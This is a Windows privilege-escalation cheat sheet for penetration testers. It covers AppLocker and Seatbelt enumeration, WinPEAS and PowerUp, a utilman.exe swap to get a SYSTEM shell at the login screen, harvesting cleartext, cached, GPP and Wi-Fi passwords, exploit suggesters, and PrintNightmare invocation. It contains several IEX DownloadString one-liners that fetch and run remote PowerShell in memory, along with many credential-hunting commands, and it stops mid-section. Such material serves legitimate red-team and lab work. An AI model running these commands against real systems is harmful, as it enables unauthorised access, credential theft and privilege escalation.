The configured AppLocker rules are stored in multiple locations within the registry and can also be retrieved using the Get-AppLockerPolicy PowerShell cmdlet.

Note that the appidsvc service must be running for AppLocker to be functional.

Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Configured AppLocker rules, stored in XML format
# The "EnforcementMode" subkey of each category (exe, scripts, MSI, Appx, DLL) corresponds to the enforcement status of the AppLocker rules of the category
# "EnforcementMode: 0x0" = Audit only
# "EnforcementMode: 0x1" = Enforce rules
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2 /s

# Mirror key
reg query HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\SrpV2 /s

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\

# AppLocker pushed down from a Group Policy Object (GPO), stored in XML format
reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\<GUID>Machine\Software\Policies\Microsoft\Windows\SrpV2

sc.exe query appidsvc

Additionally, the presence and size of the event logs hive Microsoft-Windows-AppLocker/EXE and DLL can also be a good indicator of whether or not AppLocker is enabled. If the log file is not present or is empty (the evtx file has a size of 68 Ko / 69 632 bytes) then AppLocker may not have been enabled and configured on the system.

dir C:\Windows\System32\winevt\Logs | findstr /i AppLocker

For more information about AppLocker, refer to the Windows - Bypass AppLocker note.

Seatbelt

Seatbelt is a C# tool that can be used to enumerate a number of security mechanisms of the target such as the PowerShell restrictions, audit and Windows Event Forwarding settings, registered antivirus, firewall rules, installed patches and last reboot events, etc.

Seatbelt can also be used to gather interesting user data such as saved RDP connections files and putty SSH host keys, AWS/Google/Azure cloud credential files, browsers bookmarks and histories, etc.

# Currently available (last update 20210511) SeatBelt commands  (+ means remote usage is supported):
    + AMSIProviders          - Providers registered for AMSI
    + AntiVirus              - Registered antivirus (via WMI)
    + AppLocker              - AppLocker settings, if installed
      ARPTable               - Lists the current ARP table and adapter information (equivalent to arp -a)
      AuditPolicies          - Enumerates classic and advanced audit policy settings
    + AuditPolicyRegistry    - Audit settings via the registry
    + AutoRuns               - Auto run executables/scripts/programs
    + ChromiumBookmarks      - Parses any found Chrome/Edge/Brave/Opera bookmark files
    + ChromiumHistory        - Parses any found Chrome/Edge/Brave/Opera history files
    + ChromiumPresence       - Checks if interesting Chrome/Edge/Brave/Opera files exist
    + CloudCredentials       - AWS/Google/Azure/Bluemix cloud credential files
    + CloudSyncProviders     - All configured Office 365 endpoints (tenants and teamsites) which are synchronised by OneDrive.
      CredEnum               - Enumerates the current user's saved credentials using CredEnumerate()
    + CredGuard              - CredentialGuard configuration
      dir                    - Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == [directory] [depth] [regex] [boolIgnoreErrors]
    + DNSCache               - DNS cache entries (via WMI)
    + DotNet                 - DotNet versions
    + DpapiMasterKeys        - List DPAPI master keys
      EnvironmentPath        - Current environment %PATH$ folders and SDDL information
    + EnvironmentVariables   - Current environment variables
    + ExplicitLogonEvents    - Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days.
      ExplorerMRUs           - Explorer most recently used files (last 7 days, argument == last X days)
    + ExplorerRunCommands    - Recent Explorer "run" commands
      FileInfo               - Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)
    + FileZilla              - FileZilla configuration files
    + FirefoxHistory         - Parses any found FireFox history files
    + FirefoxPresence        - Checks if interesting Firefox files exist
    + Hotfixes               - Installed hotfixes (via WMI)
      IdleTime               - Returns the number of seconds since the current user's last input.
    + IEFavorites            - Internet Explorer favorites
      IETabs                 - Open Internet Explorer tabs
    + IEUrls                 - Internet Explorer typed URLs (last 7 days, argument == last X days)
    + InstalledProducts      - Installed products via the registry
      InterestingFiles       - "Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time.
    + InterestingProcesses   - "Interesting" processes - defensive products and admin tools
      InternetSettings       - Internet settings including proxy configs and zones configuration
      KeePass                - Finds KeePass configuration files
    + LAPS                   - LAPS settings, if installed
    + LastShutdown           - Returns the DateTime of the last system shutdown (via the registry).
      LocalGPOs              - Local Group Policy settings applied to the machine/local users
    + LocalGroups            - Non-empty local groups, "-full" displays all groups (argument == computername to enumerate)
    + LocalUsers             - Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate)
    + LogonEvents            - Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.
    + LogonSessions          - Windows logon sessions
      LOLBAS                 - Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time.
    + LSASettings            - LSA settings (including auth packages)
    + MappedDrives           - Users' mapped drives (via WMI)
      McAfeeConfigs          - Finds McAfee configuration files
      McAfeeSiteList         - Decrypt any found McAfee SiteList.xml configuration files.
      MicrosoftUpdates       - All Microsoft updates (via COM)
      NamedPipes             - Named pipe names and any readable ACL information.
    + NetworkProfiles        - Windows network profiles
    + NetworkShares          - Network shares exposed by the machine (via WMI)
    + NTLMSettings           - NTLM authentication settings
      OfficeMRUs             - Office most recently used file list (last 7 days)
      OracleSQLDeveloper     - Finds Oracle SQLDeveloper connections.xml files
    + OSInfo                 - Basic OS info (i.e. architecture, OS version, etc.)
    + OutlookDownloads       - List files downloaded by Outlook
    + PoweredOnEvents        - Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days.
    + PowerShell             - PowerShell versions and security settings
    + PowerShellEvents       - PowerShell script block logs (4104) with sensitive data.
    + PowerShellHistory      - Searches PowerShell console history files for sensitive regex matches.
      Printers               - Installed Printers (via WMI)
    + ProcessCreationEvents  - Process creation logs (4688) with sensitive data.
      Processes              - Running processes with file info company names that don't contain 'Microsoft', "-full" enumerates all processes
    + ProcessOwners          - Running non-session 0 process list with owners. For remote use.
    + PSSessionSettings      - Enumerates PS Session Settings from the registry
    + PuttyHostKeys          - Saved Putty SSH host keys
    + PuttySessions          - Saved Putty configuration (interesting fields) and SSH host keys
      RDCManFiles            - Windows Remote Desktop Connection Manager settings files
    + RDPSavedConnections    - Saved RDP connections stored in the registry
    + RDPSessions            - Current incoming RDP sessions (argument == computername to enumerate)
    + RDPsettings            - Remote Desktop Server/Client Settings
      RecycleBin             - Items in the Recycle Bin deleted in the last 30 days - only works from a user context!
      reg                    - Registry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors]
      RPCMappedEndpoints     - Current RPC endpoints mapped
    + SCCM                   - System Center Configuration Manager (SCCM) settings, if applicable
    + ScheduledTasks         - Scheduled tasks (via WMI) that aren't authored by 'Microsoft', "-full" dumps all Scheduled tasks
      SearchIndex            - Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == <search path> <pattern1,pattern2,...>
      SecPackageCreds        - Obtains credentials from security packages
      SecurityPackages       - Enumerates the security packages currently available using EnumerateSecurityPackagesA()
      Services               - Services with file info company names that don't contain 'Microsoft', "-full" dumps all processes
    + SlackDownloads         - Parses any found 'slack-downloads' files
    + SlackPresence          - Checks if interesting Slack files exist
    + SlackWorkspaces        - Parses any found 'slack-workspaces' files
    + SuperPutty             - SuperPutty configuration files
    + Sysmon                 - Sysmon configuration from the registry
    + SysmonEvents           - Sysmon process creation logs (1) with sensitive data.
      TcpConnections         - Current TCP connections and their associated processes and services
      TokenGroups            - The current token's local and domain groups
      TokenPrivileges        - Currently enabled token privileges (e.g. SeDebugPrivilege/etc.)
    + UAC                    - UAC system policies via the registry
      UdpConnections         - Current UDP connections and associated processes and services
      UserRightAssignments   - Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate
    + WindowsAutoLogon       - Registry autologon information
      WindowsCredentialFiles - Windows credential DPAPI blobs
    + WindowsDefender        - Windows Defender settings (including exclusion locations)
    + WindowsEventForwarding - Windows Event Forwarding (WEF) settings via the registry
    + WindowsFirewall        - Non-standard firewall rules, "-full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public)
      WindowsVault           - Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge).
      WMIEventConsumer       - Lists WMI Event Consumers
      WMIEventFilter         - Lists WMI Event Filters
      WMIFilterBinding       - Lists WMI Filter to Consumer Bindings
    + WSUS                   - Windows Server Update Services (WSUS) settings, if applicable


# Executes the specified module(s).
SeatBelt.exe <Command> [Command2] [-full]

# Conducts "user" checks, executing the following modules:
# Certificates, ChromiumPresence, CloudCredentials, CloudSyncProviders, CredEnum,
# dir, DpapiMasterKeys, Dsregcmd,
# ExplorerMRUs, ExplorerRunCommands,
# FileZilla, FirefoxPresence,
# IdleTime, IEFavorites, IETabs, IEUrls
# KeePass,
# MappedDrives
# OfficeMRUs, OracleSQLDeveloper,
# PowerShellHistory, PuttyHostKeys, PuttySessions,
# RDCManFiles, RDPSavedConnections,
# SecPackageCreds, SlackDownloads, SlackPresence, SlackWorkspaces, SuperPutty,
# TokenGroups,
# WindowsCredentialFiles, WindowsVault
SeatBelt.exe -group=user [-full]

# Conducts "system" checks, executing the following modules:
# AMSIProviders, AntiVirus, AppLocker, ARPTable, AuditPolicies, AuditPolicyRegistry, AutoRuns,
# Certificates, CredGuard,
# DNSCache, DotNet,
# EnvironmentPath, EnvironmentVariables,
# Hotfixes,
# InterestingProcesses, InternetSettings,
# LAPS, LastShutdown, LocalGPOs, LocalGroups, LocalUsers, LogonSessions, LSASettings,
# McAfeeConfigs,
# NamedPipes, NetworkProfiles, NetworkShares, NTLMSettings,
# OSInfo,
# PoweredOnEvents, PowerShell, Processes, PSSessionSettings,
# RDPSessions, RDPsettings,
# SCCM, Services, Sysmon,
# TcpConnections, TokenPrivileges,
# UAC, UdpConnections, UserRightAssignments,
# WindowsAutoLogon, WindowsDefender, WindowsEventForwarding, WindowsFirewall, WMIEventConsumer, WMIEventFilter, WMIFilterBinding, WSUS
Seatbelt.exe -group=system

# Executes all checks, with fully detailed results.
SeatBelt.exe -group=all [-full]

# Executes SeatBelt from memory (as a gzip-compressed and base64-encoded .Net assembly loaded in PowerShell).
# From PowerSharpBinaries https://github.com/S3cur3Th1sSh1t/PowerSharpPack/
IEX(New-Object Net.WebClient).DownloadString("http://<HOSTNAME | IP>[:<PORT>]/<SCRIPT>")
Invoke-Seatbelt -Command "<Command> [Command2] [-full]"

Local privilege escalation enumeration scripts

Most of the enumeration process detailed below can be automated using scripts.

Personal preference: PEASS’s WinPEAS.exe or WinPEAS.bat + PowerSploit’s PowerUp.ps1 Invoke-PrivescAudit / Invoke-AllChecks + off-target Windows Exploit Suggester - Next Generation

To upload the scripts on the target, please refer to the [General] File transfer note.

Note that PowerShell scripts can be injected directly into memory using PowerShell DownloadString or through a meterpreter session:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('<URL_PS1>'); <Invoke-CMD>"

PS> IEX (New-Object Net.WebClient).DownloadString('<URL_PS1>')
PS> <Invoke-CMD>

meterpreter> load powershell
meterpreter> powershell_import <PS1_FILE_PATH>
meterpreter> powershell_execute <Invoke-CMD>

Privilege Escalation Awesome Scripts SUITE (PEASS) — WinPEAS

WinPEAS checks the local privilege escalation vectors defined in the following checklist: https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation.

Note that the winPEAS.exe executable requires the .NET 4.0 framework to function. Alternatively, the winPEAS.bat script may be used instead (with no coloring support and less optimization).

# All checks with out resource throttling
# Additionally specify "notcolor" to avoid formatting errors if ANSI coloring is not supported
winPEAS.exe cmd searchall searchfast

winPEAS.bat

PowerSploit’s PowerUp

The PowerSploit’s PowerUp Invoke-PrivescAudit / Invoke-AllChecks and enjoiz’s privesc.bat or privesc.ps1scripts run a number of configuration checks:

  • Clear text passwords in files or registry

  • Weak services permissions

  • «AlwaysInstallElevated» policy

The Invoke-PrivescAudit / Invoke-AllChecks cmdlets will run all the checks implemented by PowerSploit’s PowerUp.ps1. The script can be either injected directly into memory as specified above or can be imported using the file.

Note that PowerUp is not actively maintained in the master branch of the PowerShellMafia‘s PowerSploit GitHub repository.

# powershell.exe -nop -exec bypass
# set-executionpolicy bypass

Import-Module <FULLPATH>\PowerUp.ps1

# Older versions
Invoke-AllChecks

Invoke-PrivescAudit

enjoiz privesc.bat / privesc.ps1

Both the batch and PowerShell versions of the enjoiz privilege escalation script require accesschk.exe to present on the targeted machine (on the script directory). The script takes one or multiple user group(s) as parameter to test the configuration for. To retrieve the user groups of the compromised user, the Windows built-in whoami /groups can be used.

privesc.bat "<USER_GROUP_1>" ["<USER_GROUP_N"]

privesc.bat "Everyone Users" "Authenticated Users"

Windows Exploit Suggester — Next Generation

The WES-NG script compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. Refer to the Unpatched system section below for a detailed usage guide of the script.

Physical access privileges escalation

Physical access open up different ways to bypass user login screen and obtain NT AUTHORITY\SYSTEM access.

Hardened system

BIOS settings

The methods detailed below require to boot from a live CD/DVD or USB key. The possibility to do so may be disabled by BIOS settings. To conduct the attack below, an access to the BIOS or a reset to default settings must be accomplished.

Manufacturers may have defined a default BIOS password, some of which are listed on the following resource http://www.uktsupport.co.uk/reference/biosp.htm

Ultimately, BIOS settings can be reseted by removing the CMOS battery or using the motherboard Jumper. The system hard drive can also be plugged on another computer to extract the SAM base or carry out the process below.

Encrypted disk

The methods detailed below require an access to the Windows file system and will not work on encrypted partitions if the password to decrypt the file system is not known.

PCUnlocker

PCUnlocker is a password-unlocking software that can be used to reset lost Windows users password. it can be burn on a CD/DVD or installed on a bootable USB key.

The procedure to create a bootable USB key and reset local Windows users passwords is as follow:

  1. Download Rufus and PCUnlocker

  2. Create a bootable USK key using Rufus with the PCUnlocker ISO. If making an USB key for a computer with UEFI BIOS, pick the «GPT partition scheme for UEFI computer» option on Rufus

  3. Boot on the USB Key thus created (boot order may need to be changed in BIOS)

  4. From the PCUnlocker GUI, pick an account and click the «Reset Password» button to reset the password to

To create a bootable CD/DVD, simply use any CD/DVD burner with the PCUnlocker ISO and follow steps 3 & 4. If used on a Domain Controller, PCUnlocker can be used to reset Domain users password by updating the ntds.dit file.

utilman.exe

The utilman utility tool can be launched at the login screen before authentication as NT AUTHORITY\SYSTEM. By using a Windows installation CD/DVD, it is possible to replace the utilman.exe by cmd.exe to gain access to a CMD shell as SYSTEM without authentication.

The procedure to do so is as follow:

  1. Download the Windows ISO corresponding to the attacked system and burn it to a CD/DVD

  2. Boot on the thus created CD/DVD

  3. Pick the «Repair your computer» option

  4. Select the “Use recovery tools […]» option, pick the operating system from the list and click «Next»

  5. A command prompt should open, enter the following commands:

    • ren utilman.exe utilman.exe.bak

  6. Remove the CD/DVD and boot the system normally.

  7. On the login screen, press the key combination Windows Key + U

  8. A command prompt should open with NT AUTHORITY\SYSTEM rights

  9. Change a user password (net user ) or create a new user

Clear text passwords in files

The built-in findstr and dir can be used to search for clear text passwords stored in files. The keyword ‘password’ should be used first and the search broaden if needed by searching for ‘pass’.

The meterpreter search command can be used in place of findstr if a meterpreter shell is being used.

# Searches recursively in current folder
dir /s <KEYWORD>

# Meterpreter search command
search -f <FILE_NAME>.<FILE_EXTENSION> <KEYWORD>
search -f *.* <KEYWORD>

# Search (case insensitive) the specified keyword (for example 'password' or 'pass') in all or all the files of a given extension.
# The findstr is a Windows utility usable in a DOS shell. Get-ChildItem is a (faster) PowerShell cmdlet.
# A case sensitive search can be conducted using 's findstr /spin option or Get-Select-String's -CaseSensitive switch.

Get-ChildItem -ErrorAction SilentlyContinue -Recurse | Select-String "<KEYWORD>" -List | Select-Object -ExpandProperty Path
findstr /si "<KEYWORD>" *.*

Get-ChildItem -ErrorAction SilentlyContinue -Recurse -Filter <*.txt | *.<EXTENSION>> | Select-String "<KEYWORD>" -List | Select-Object -ExpandProperty Path
findstr /si "<KEYWORD>" <*.txt | *.<EXTENSION>>

# Search for runas with savecred in files
findstr /s /i /m "savecred" *.*
findstr /s /i /m "runas" *.*

# Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*

The following files, if present on the system, may contain clear text or base64 encoded passwords and should be reviewed:

%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattend\Unattend.xml
%WINDIR%\Panther\Unattended.xml
%WINDIR%\Panther\Unattend.xml
%SystemDrive%\sysprep.inf
%SystemDrive%\sysprep\sysprep.xml
%WINDIR%\system32\sysprep\Unattend.xml
%WINDIR%\system32\sysprep\Panther\Unattend.xml
%SystemDrive%\MININT\SMSOSD\OSDLOGS\VARIABLES.DAT
%WINDIR%\panther\setupinfo
%WINDIR%\panther\setupinfo.bak
%SystemDrive%\unattend.xml
%WINDIR%\system32\sysprep.inf
%WINDIR%\system32\sysprep\sysprep.xml
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
%SystemDrive%\inetpub\wwwroot\web.config
%AllUsersProfile%\Application Data\McAfee\Common Framework\SiteList.xml
%HOMEPATH%\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu<...>\LocalState\rootfs\etc\passwd
%HOMEPATH%\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu<...>\LocalState\rootfs\etc\shadow

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
dir /s /b *tnsnames*
dir /s /b *.ora*

Cached credentials

Windows-based computers use multiple forms of password caching / storage: local accounts credentials, domain credentials, and generic credentials:

  • Domain credentials are authenticated by the Local Security Authority (LSA) and cached in the LSASS (Local Security Authority Subsystem) process.

  • Local accounts credentials are stored in the SAM (Security Account Manager) hive.

  • Generic credentials are defined programs that manage authorization and security directly. The generic credentials are cached in the Windows Credential Manager.

Local administrator or NT AUTHORITY\SYSTEM privileges are required to access the clear-text or hashed passwords. Refer to the [Windows] Post Exploitation note for more information on how to retrieve these credentials.

However, stored generic credentials may be directly usable. In particular, Windows credentials (domain or local accounts) cached as generic credentials in the Credential Manager, usually done using runas /savecred.

The cmdkey and rundll32.exe Windows built-ins can be used to enumerate the generic credentials stored on the machine. Saved Windows credentials be can used using runas.

# List stored generic credentials
cmdkey /list
# Require a GUI interface
rundll32.exe keymgr.dll,KRShowKeyMgr

runas /savecred /user:<DOMAIN | WORKGROUP>\<USERNAME> <EXE>

Cached GPP passwords

GPP can be cached locally and may contain encrypted passwords that can be decrypted using the Microsoft public AES key.

The Get-CachedGPPPassword cmdlet, of the PowerSploit‘s PowerUp script, can be used to automatically retrieve the cached GPP XML files and extract the present passwords.

The following commands can be used to conduct the search manually:

$AllUsers = $Env:ALLUSERSPROFILE
# If $AllUsers do not contains "ProgramData"
$AllUsers = "$AllUsers\Application Data"

Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml',
'DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue | Select-String -pattern "cpassword"

The Ruby gpp-password script can be used to decrypt a GPP password:

gpp-decrypt <ENC_PASSWORD>

Clear text password in registry

Passwords may also be stored in Windows registry:

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f pass /t REG_SZ /s
reg query HKCU /f pass /t REG_SZ /s

Wifi passwords

The configured / memorized Wifi passwords on the target machine may be retrievable as an unprivileged user using the Windows built-in netsh:

# List stored Wifi
netsh wlan show profiles

# Retrieve information about the specified Wifi, including its clear text password if available
netsh wlan show profile name="<WIFI_NAME>" key=clear

Passwords in Windows event logs

If the compromised user can read Windows events logs, by being a member of the Event Log Readers notably, and the command-line auditing feature is enabled, the logs should be reviewed for sensible information.

# Check if command-line auditing is enabled - may return false-negative
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled

# List available Windows event logs type and number of entries
Get-EventLog -List

Get-EventLog -LogName <System | Security | ...> | Select -Property * -ExpandProperty Message

wevtutil qe <System | Security | ...> /f:text /rd:true

# specifying an host allows to specify an user to run the query as
wevtutil qe <System | Security | ...> /r:<127.0.0.1 | HOSTNAME | IP> /u:<WORKGROUP | DOMAIN>\<USERNAME> /p:<* | PASSWORD> /f:text /rd:true

Recently modified files

Recently modified files can be of interest and may contain sensitive information. For example, the lastly modified files in a product installation folder may correspond to the non default modifications and configuration.

The time of modification may also be of interest in a CTF scenarios.

# Lists the files and folders modified the last <DAYS> days.
Get-ChildItem [-File] -ErrorAction SilentlyContinue -Force -Recurse <PATH> | Where { $_.LastWriteTime -gt (Get-Date).AddDays(-<DAYS>) } | Format-Table LastWriteTime,FullName

# Lists the files and folders modified between the specifed dates.
Get-ChildItem [-File] -ErrorAction SilentlyContinue -Force -Recurse <PATH> | Where { $_.lastwritetime -gt '<FIRST_MM/DD/YYYY>' -AND $_.lastwritetime -lt '<LAST_MM/DD/YYYY>' } | Format-Table LastWriteTime,FullName

Hidden files

To display only hidden files, the following command can be used:

dir /s /ah /b
dir C:\ /s /ah /b

# PowerShell
ls -r
Get-Childitem -Recurse -Hidden

Files of interest

The following files may contains sensible information:

# PowerShell commands history
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

# WSL directory - For more information refer to Windows Subsystem for Linux (WSL) below
%HOMEPATH%\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu<...>

Alternate data streams (ADS)

The NTFS file system includes support for ADS, allowing files to contain more than one stream of data. Every Windows file has at least one data stream, called by default :$DATA.

ADS do not appear in Windows Explorer, and their size is not included in the size of the file that hosts them. Moreover, only the main stream of a file is retained when copying to a FAT file system, attaching to a mail or uploading to a website. Because of these properties, ADS may be used by users or applications to store sensible information and the eventual ADS present on the system should be reviewed.

DOS and PowerShell built-ins as well as streams.exe from the Sysinternals suite and tools from http://www.flexhex.com/docs/articles/alternate-streams.phtml can be used to operate with ADS.

Note that the PowerShell cmdlets presented below are only available starting from PowerShell 3.

# Search ADS
dir /R <DIRECTORY | FILE_NAME>
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$DATA'
Get-Item <FILE_NAME> -stream *
streams.exe -accepteula -s <DIRECTORY>
streams.exe -accepteula <FILE_NAME>

# Retrieve ADS content
more < <FILE_NAME>:<ADS_NAME>
Get-Content <FILE_NAME> -stream <ADS_NAME>
LS.exe <FILE_NAME>

# Write ADS content
echo "<INPUT>" > <FILE_NAME>:<ADS_NAME>
Set-Content <FILE_NAME> -stream <ADS_NAME> -Value "<INPUT>"
Add-Content <FILE_NAME> -stream <ADS_NAME> -Value "<INPUT>"

# Remove ADS
Remove-Item –path <FILE_PATH> –stream <ADS_NAME>
streams.exe -accepteula -d <FILE_NAME>

OS and Kernel version

The following commands or actions can be used to get the updates installed on the host:

systeminfo
Check content of C:\Windows\SoftwareDistribution\Download
type C:\Windows\WindowsUpdate.log

Get-HotFix
Get-WindowsUpdateLog

wmic qfe get HotFixID,InstalledOn,Description

Windows releases information:

Windows XP x64
Windows Server 2003
Windows Server 2003 R2

Windows Vista
Windows Server 2008

Windows 7
Windows Server 2008 R2

Windows 8
Windows Server 2012

Windows 8.1
Windows Server 2012 R2

10240 (TH1) / 10586 (TH2)
14393 (RS1) / 15063 (RS2) / 16299 (RS3) / 17134 (RS4) / 17763 (RS5)

Windows 10
Windows Server 2016

Automatically compare the system patch level to public known exploits:

Installed software

The following commands can be used to enumerate the software installed on the local system:

# Lists the software installed on the system.
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*, REGISTRY::HKEY_USERS\S-1-5-21-*\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where {$_.DisplayName -notLike "" -or $_.InstallLocation -notlike ""} | Select DisplayName, DisplayVersion, Publisher, InstallDate, InstallLocation  | fl

# Returns a partial list of the software installed on the system.
wmic product get name,version

Exploits detection tools

Windows Exploit Suggester — Next Generation (WES-NG)

— Replace Windows-Exploit-Suggester —

The WES-NG Python script compares a target patch level, retrieved using systeminfo, and the Microsoft vulnerability database in order to detect potential missing patches on the target.

wes.py --update

# -d: [+] Filters out old vulnerabilities by retrieving the most recent KB publication date and filtering out all KBs released before this date.
# --muc-lookup: Conducts false positives verification using the Microsoft's Update Catalog to determine if installed patches supersedes potentially missing KBs.
wes.py [-d] [--muc-lookup] <SYSTEMINFO_FILE>

Windows-Exploit-Suggester (outdated)

Outdated: Microsoft replaced the Microsoft Security Bulletin Data Excel file, on which Windows-Exploit-Suggester is fully dependent, by the MSRC API. The Microsoft Security Bulletin Data Excel file has not been updated since Q1 2017, so later operating systems and vulnerabilities can no longer be assessed —

The windows-exploit-suggester script compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins. It requires the systeminfo command output from a Windows host in order to compare that the Microsoft security bulletin database and determine the patch level of the host. It has the ability to automatically download the security bulletin database from Microsoft with the —update flag, and saves it as an Excel spreadsheet.

# python windows-exploit-suggester.py --update

python /opt/priv_esc/windows/windows-exploit-suggester.py --database <XLS> --systeminfo <SYSTEMINFO_FILE>

If the systeminfo command reveals ‘File 1’ as the output for the hotfixes, the output of wmic qfe list full should be used instead using the —hotfixes flag, along with the systeminfo:

python windows-exploit-suggester.py --database <XLS> --systeminfo <SYSTEMINFO> --hotfixes <HOTFIXES>

Watson

Watson (replaces Sherlock) is a .NET tool designed to enumerate missing KBs and suggest exploits. Only works on Windows 10 (1703, 1709, 1803 & 1809) and Windows Server 2016 & 2019.

Watson must be compiled for the .NET version supported on the target.

Sherlock (outdated)

Outdated: Microsoft changed to rolling patches on Windows instead of hotfixes per vulnerability, making the detection mechanism of Sherlock non functional.

PowerShell script to find missing software patches for critical vulnerabilities that could be leveraged for local privilege escalation.

To download and execute directly into memory:

# CMD
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://<IP>:<Port>/Sherlock.ps1')"; Find-AllVulns

# PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://<IP>:<Port>/Sherlock.ps1'); Find-AllVulns

(Metasploit) Local Exploit Suggester (outdated)

The local_exploit_suggester module suggests local meterpreter exploits that can be used against the target, based on the architecture and platform as well as the available exploits in meterpreter.

meterpreter> run post/multi/recon/local_exploit_suggester

# OR

msf> use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set SESSION <session-id>
msf post(local_exploit_suggester) > run

Pre compiled exploits

A collection of pre compiled Windows kernel exploits can be found on the windows-kernel-exploits GitHub repository. Use at your own risk.

https://github.com/SecWiki/windows-kernel-exploits

Compilers

mingw

An exploit in C can be compiled on Linux to be used on a Windows system using the cross-compiler mingw:

# 32 bits
i686-w64-mingw32-gcc -o exploit.exe exploit.c

# 64 bits
x86_64-w64-mingw32-gcc -o exploit.exe exploit.c

PyInstaller

If an exploit is only available as a Python script and Python is not installed on the target, PyInstaller can be used to compile a stand alone executable of the Python script:

pyinstaller --onefile <SCRIPT>.py

PyInstaller should be used on a Windows operating system.

PrintNightmare (CVE-2021-1675)

On unpatched systems with the Print Spooler service running, the PrintNightmare vulnerability (CVE-2021-1675) can be leveraged, in addition to remote code execution, for local privilege escalation. The PrintNightmare vulnerability basically result in the execution of an arbitrary DLL under NT AUTHORITY\SYSTEM privileges. For more details on the PrintNightmare vulnerability, refer to the [L7] 135 - MSRPC note.

The status of the Print Spooler service on the local system can be retrieved using the following PowerShell cmdlets:

# Returns "Cannot find path '\\127.0.0.1\pipe\spoolss' because it does not exist" if the Print Spooler service is not running.
gci \\127.0.0.1\pipe\spoolss

# Retrieves the status of the Print Spooler service on the local system.
Get-Service Spooler
  • using its embedded (Base64-encoded GZIPped) DLL to create a local user and add it to the local Administrators group

  • executing the specified DLL under NT AUTHORITY\SYSTEM privileges

Import-Module .\CVE-2021-1675.ps1

# Adds the specified user to the Administrators group using the script embedded DLL.
Invoke-Nightmare -DriverName "<Xerox | DRIVER_NAME>" -NewUser "<USERNAME>" -NewPassword "<PASSWORD>"

# Executes the given DLL under `NT AUTHORITY\SYSTEM` privileges.
Invoke-Nightmare -DLL "<FULL_PATH_DLL>"
SharpPrintNightmare.exe "<FULL_PATH_DLL>"

CVE-2021-1675.ps1 and SharpPrintNightmare (in LPE mode) present the advantage of not relying on the RPC or SMB protocols as the AddPrinterDriverEx and EnumPrinterDrivers APIs are called directly.

AlwaysInstallElevated policy

Windows provides a mechanism which allows unprivileged users to install Windows installation packages, Microsoft Windows Installer Package (MSI) files, with NT AUTHORITY\SYSTEM privileges. This policy is known as AlwaysInstallElevated.

If activated, this mechanism can be leveraged to elevate privileges on the system by executing code through the MSI during the installation process as NT AUTHORITY\SYSTEM.

The Windows built-in req utility and the PowerUp PowerShell script can be used to check whether the AlwaysInstallElevated policy is enabled on the host by querying the associated registry key:

# If "REG_DWORD 0x1" is returned the policy is activated.
# If not, the error message "ERROR: The system was unable to find the specified registry key or value." indicates that the policy is not set.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# (PowerShell) PowerSploit's PowerUp Get-RegistryAlwaysInstallElevated.
PS> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1")
PS> Get-RegistryAlwaysInstallElevated

The policy can be abused to elevate privileges:

